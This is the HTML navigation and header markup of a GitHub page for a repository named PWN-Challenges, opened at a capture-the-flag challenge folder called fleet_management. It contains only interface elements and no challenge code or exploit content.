<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vital-information-resource-under-siege </span> <span>/</span> PWN-Challenges
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":334582086,"originating_url":"https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/fleet_management","user_id":null}}" data-hydro-click-hmac="c2e5d6157573d55aaeb7881276f04a784864d44a1236b413320550a667e4bd97"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
